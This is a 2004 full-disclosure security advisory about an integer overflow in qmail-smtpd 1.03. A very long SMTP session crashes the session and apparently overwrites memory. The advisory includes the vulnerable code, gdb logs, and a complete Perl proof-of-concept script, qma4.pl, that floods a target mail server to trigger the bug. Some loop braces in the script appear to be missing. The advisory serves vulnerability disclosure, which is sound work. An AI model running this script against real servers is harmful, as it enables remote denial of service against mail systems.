Georgi Guninski security advisory #65, 2004

Lame crash in qmail-smtpd and memory overwrite according to gdb, yet still qmail much better than win
dows

Systems affected:
qmail 1.03 on linux, don't know about other OSes.


Risk: Unknown. maybe so, maybe no.
Date: 15 January 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/qmailcrash.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
Actually there are two different problems:
a) It is possible to crash qmail-smtpd 1.03 from remote with a long SMTP
session. The crash is not global, it affects only the current SMTP session.

b) If gdb is to be believed, it is possible to overwrite memory in 
qmail-smtpd 1.03 from remote with a long SMTP session.

Details:

about a)
It is possible to trigger segmentation violation (SEGV) in qmail-smtpd  1.03 
on linux from the network.

The problem is in:
void blast(hops)
int *hops;
...
int pos; /* number of bytes since most recent \n, if fih */
...
   if (pos < 9) {
        if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez = 0;
...
++pos;
...

When pos is incremented long enough, it becomes negative and the check 
(pos<9) passes while pos is around 0x80000000. 
Then "delivered"[pos] causes segmentation violation.

Don't know whether RFC compliant message can trigger this.

Here is a log of the crash:
./qma4.pl localhost 25
qmail-smtpd SEGV. Written by Georgi Guninski
Will connect to localhost:25 fromaddr=they@sux.org touser=postmaster
length=2097152
...
<in another console>
ps awx | grep qmail-smtpd
1810 ?        R      0:06 qmail-smtpd

gdb attach 1810
GNU gdb
(gdb) cont
<wait>
Program received signal SIGSEGV, Segmentation fault.
0x0804937c in blast (hops=0xbffffd8c) at qmail-smtpd.c:321
321             if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybe
z = 0;
(gdb) p pos
$1 = -2147483648
(gdb) p/x pos
$2 = 0x80000000
(gdb)


about b:)
If gdb is to be believed, there is a memory screw (overflow) in qmail-smtpd.
To test it, uncomment the lines after "# !!! uncomment" in qma4.pl

Here is a gdb log:
gdb attach 1780
GNU gdb 
.... 
Attaching to process 1780
Reading symbols from /var/qmail/bin/qmail-smtpd...done.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x401026c8 in read () from /lib/libc.so.6
(gdb) cont
Continuing.
 
Program received signal SIGPIPE, Broken pipe.
0x40102748 in write () from /lib/libc.so.6
#0  0x40102748 in write () from /lib/libc.so.6
#1  0x00000400 in ?? ()
#2  0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
#3  0x0804bc1e in substdio_put (s=0x4, buf=0xbffffd5b "g\030", len=134540004)
    at substdo.c:64 <-- wtf is this len ??
#4  0x0804ab58 in qmail_put (qq=0x804eac0, s=0xbffffd5b "g\030", len=1)
    at qmail.c:56
#5  0x08049309 in put (ch=0xbffffd5b "g\030") at qmail-smtpd.c:290
#6  0x0804941d in blast (hops=0xbffffd8c) at qmail-smtpd.c:360
#7  0x08049669 in smtp_data () at qmail-smtpd.c:393
#8  0x08049a66 in commands (ss=0x804d09c, c=0x804d0c0) at commands.c:37
#9  0x080497c5 in main () at qmail-smtpd.c:430
#10 0x40042917 in __libc_start_main () from /lib/libc.so.6
(gdb) frame 2
#2  0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
35        return allwrite(s->op,s->fd,s->x,p);
(gdb) p *s
$1 = {x = 0x67676767 "", p = 1734829927, n = 1734829927, fd = 1734829927,
  op = 0x67676767}
(gdb)

When you get s->op=0x67676767 it is not good :)

Note: qmail was compiled with debug info.

---qma4.pl----
#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and 
#similar stuff

use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];



my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP"
) || die "socket";

my $req  = "HELO a\r\n";
my $fromaddr="they\@sux.org";
my $touser="postmaster";

print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in vulnerability databases an
d similar stuff\nWill connect to ${host}:${port}
 fromaddr=${fromaddr} touser=${touser}\n";

$req .= "MAIL FROM: ${fromaddr}\r\n";
$req .= "RCPT TO: ${touser}\r\n";

$req .= "DATA\r\n";


$req .= "1234567890";

#my $x = "\ng" x 100;
#print $x;

syswrite($socket,$req,length($req));

my $l1= 1024*1024;
my $p1 = "gg" x $l1;
my $pl = 2*$l1;
print "length=${pl}\n";
my $towrite = $l1*2050;
my $wri = 0;
$req = $p1;
while ($wri < $towrite)
 
syswrite($socket,$req,$pl);
if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
# !!! uncomment the following lines to get qmail memory screw on linux according to gdb
#if ($wri/$l1 == 2044) 
#{
#syswrite($socket,"g\r\n",3);print "injected\n";
#};
$wri += $pl;
 

$req = "test\r\n";
$req .= ".\r\n";


syswrite($socket,$req,length($req));


while(<$socket>)
 
print $_;
 


close $socket;

--------------

Workaround: Not tested, but setting quota on the receiving email may help.

Vendor status:
djb@cr.yp.to was notified about a) on Mon, 12 Jan 2004 16:06:06 +0200
Message-Id: <200401121405.QAA06863@home.ntrl.net>
Didn't hear from him.
His qsecretary wanted me to not be spammer and i confirmed i am not a
spammer to: 
To: "The qsecretary program" <djb-notbulkmail-22ecb0d6842839ad68e79ccb452a3f09@cr.yp.to>

Regards,
Georgi Guninski
http://www.guninski.com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html